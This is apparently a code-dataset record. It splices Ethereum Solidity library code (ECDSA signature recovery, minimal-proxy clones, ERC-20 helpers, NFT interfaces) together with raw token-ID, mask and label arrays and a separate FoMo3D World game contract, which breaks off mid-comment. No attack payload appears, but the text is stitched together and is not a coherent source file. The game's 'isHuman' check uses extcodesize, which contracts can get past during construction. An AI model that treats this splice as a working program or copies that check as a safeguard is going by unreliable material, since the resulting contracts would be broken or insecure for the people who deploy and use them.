assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; struct SignatureStatus { bool isSalted; bool isVerified; address signer; bytes32 saltedHash; } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./IERC165.sol"; interface INiftyEntityCloneable is IERC165 { function initializeNiftyEntity(address niftyRegistryContract_) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; interface INiftyRegistry { function isValidNiftySender(address sendingKey) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @title A base contract that may be inherited in order to protect a contract from having its fallback function * invoked and to block the receipt of ETH by a contract. * @author Nathan Gang * @notice This contract bestows on inheritors the ability to block ETH transfers into the contract * @dev ETH may still be forced into the contract - it is impossible to block certain attacks, but this protects from accidental ETH deposits */ // For more info, see: "https://medium.com/@alexsherbuck/two-ways-to-force-ether-into-a-contract-1543c1311c56" abstract contract RejectEther { /** * @dev For most contracts, it is safest to explicitly restrict the use of the fallback function * This would generally be invoked if sending ETH to this contract with a 'data' value provided */ fallback() external payable { revert("Fallback function not permitted"); } /** * @dev This is the standard path where ETH would land if sending ETH to this contract without a 'data' value * In our case, we don't want our contract to receive ETH, so we restrict it here */ receive() external payable { revert("Receiving ETH not permitted"); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for * deploying minimal proxy contracts, also known as "clones". * * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies * > a minimal bytecode implementation that delegates all calls to a known, fixed address. * * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2` * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the * deterministic method. * */ library Clones { /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create opcode, which should never revert. */ function clone(address implementation) internal returns (address instance) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `implementation` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */ function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create2(0, ptr, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress( address implementation, bytes32 salt, address deployer ) internal pure returns (address predicted) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(ptr, 0x38), shl(0x60, deployer)) mstore(add(ptr, 0x4c), salt) mstore(add(ptr, 0x6c), keccak256(ptr, 0x37)) predicted := keccak256(add(ptr, 0x37), 0x55) } } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address implementation, bytes32 salt) internal view returns (address predicted) { return predictDeterministicAddress(implementation, salt, address(this)); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./IERC165.sol"; /** * @dev Interface for the NFT Royalty Standard. * * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal * support for royalty payments across all NFT marketplaces and ecosystem participants. * */ interface IERC2981 is IERC165 { /** * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of * exchange. The royalty amount is denominated and should be payed in that same unit of exchange. */ function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./IERC165.sol"; import "../libraries/SafeERC20.sol"; interface ICloneablePaymentSplitter is IERC165 { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); function initialize(address[] calldata payees, uint256[] calldata shares_) external; function totalShares() external view returns (uint256); function totalReleased() external view returns (uint256); function totalReleased(IERC20 token) external view returns (uint256); function shares(address account) external view returns (uint256); function released(address account) external view returns (uint256); function released(IERC20 token, address account) external view returns (uint256); function payee(uint256 index) external view returns (address); function release(address payable account) external; function release(IERC20 token, address account) external; function pendingPayment(address account) external view returns (uint256); function pendingPayment(IERC20 token, address account) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; struct RoyaltyRecipient { bool isPaymentSplitter; // 1 byte uint16 bips; // 2 bytes address recipient; // 20 bytes } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "../interfaces/IERC20.sol"; import "./Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } }
* @dev Emitted when consecutive token ids in range ('fromTokenId') to ('toTokenId') are transferred from one account (`fromAddress`) to another (`toAddress`). Note that `value` may be zero./ SPDX-License-Identifier: MIT
interface IERC721MetadataGenerator is IERC165 { function tokenMetadata(uint256 tokenId, uint256 niftyType, bytes calldata data) external view returns (string memory); }
5,974,266
[ 1, 1514, 11541, 1347, 18221, 1147, 3258, 316, 1048, 7707, 2080, 1345, 548, 6134, 358, 7707, 869, 1345, 548, 6134, 854, 906, 4193, 628, 1245, 2236, 21863, 2080, 1887, 24065, 358, 4042, 21863, 869, 1887, 68, 2934, 3609, 716, 1375, 1132, 68, 2026, 506, 3634, 18, 19, 11405, 28826, 17, 13211, 17, 3004, 30, 490, 1285, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 654, 39, 27, 5340, 2277, 3908, 353, 467, 654, 39, 28275, 288, 377, 203, 565, 445, 1147, 2277, 12, 11890, 5034, 1147, 548, 16, 2254, 5034, 290, 2136, 93, 559, 16, 1731, 745, 892, 501, 13, 3903, 1476, 1135, 261, 1080, 3778, 1769, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } pragma solidity ^0.4.24; /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } pragma solidity ^0.4.24; library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } pragma solidity ^0.4.24; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } pragma solidity ^0.4.24; // "./PlayerBookInterface.sol"; // "./SafeMath.sol"; // "./NameFilter.sol"; // 'openzeppelin-solidity/contracts/ownership/Ownable.sol'; //============================================================================== // _ _ _ _|_ _ . // (/_\/(/_| | | _\ . //============================================================================== contract F3Devents { /* event debug ( uint16 code, uint256 value, bytes32 msg ); */ // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); // fired at end of buy or reload event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 mktAmount, // uint256 comAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); // fired whenever theres a withdraw event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); // fired whenever a withdraw forces end round to be ran event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 mktAmount, uint256 genAmount ); // (fomo3d long only) fired whenever a player tries a buy after round timer // hit zero, and causes end round to be ran. event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 mktAmount, uint256 genAmount ); // (fomo3d long only) fired whenever a player tries a reload after round timer // hit zero, and causes end round to be ran. event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 mktAmount, uint256 genAmount ); // fired whenever an affiliate is paid event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); // received pot swap deposit event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularLong is F3Devents {} contract FoMo3DWorld is modularLong, Ownable { using SafeMath for *; using NameFilter for string; using F3DKeysCalcLong for uint256; // otherFoMo3D private otherF3D_; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x789C537cE585595596D3905f401235f5A85B11d7); //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) //=================_|=========================================================== string constant public name = "FoMo3D World"; string constant public symbol = "F3DW"; // uint256 private rndExtra_ = extSettings.getLongExtra(); // length of the very first ICO uint256 constant private rndGap_ = 0; // 120 seconds; // length of ICO phase. uint256 constant private rndInit_ = 1 hours; // round timer starts at this uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer uint256 constant private rndMax_ = 24 hours; // max length a round timer can be uint256 public airDropPot_; // person who gets the airdrop wins part of this pot uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop uint256 public rID_; // round id number / total rounds that have happened //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) //**************** // ROUND DATA //**************** mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id //**************** // TEAM FEE DATA //**************** mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team constructor() public { // Team allocation structures // 0 = whales // 1 = bears // 2 = sneks // 3 = bulls // Team allocation percentages // (F3D, P3D) + (Pot , Referrals, Community) // Referrals / Community rewards are mathematically designed to come from the winner's share of the pot. fees_[0] = F3Ddatasets.TeamFee(30, 6); //50% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[1] = F3Ddatasets.TeamFee(43, 0); //43% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[2] = F3Ddatasets.TeamFee(56, 10); //20% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[3] = F3Ddatasets.TeamFee(43, 8); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot // how to split up the final pot based on which team was picked // (F3D, P3D) potSplit_[0] = F3Ddatasets.PotSplit(15, 10); //48% to winner, 25% to next round, 2% to com potSplit_[1] = F3Ddatasets.PotSplit(25, 0); //48% to winner, 25% to next round, 2% to com potSplit_[2] = F3Ddatasets.PotSplit(20, 20); //48% to winner, 10% to next round, 2% to com potSplit_[3] = F3Ddatasets.PotSplit(30, 10); //48% to winner, 10% to next round, 2% to com } /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } /** * @dev emergency buy uses last stored affiliate ID and team snek */ function() isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // buy core buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } /** * @dev converts all incoming ethereum to keys. * -functionhash- 0x8f38f309 (using ID for affiliate) * -functionhash- 0x98a0871d (using address for affiliate) * -functionhash- 0xa65b37a1 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? */ function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } /** * @dev essentially the same as buy, but instead of you sending ether * from your wallet, it uses your unwithdrawn 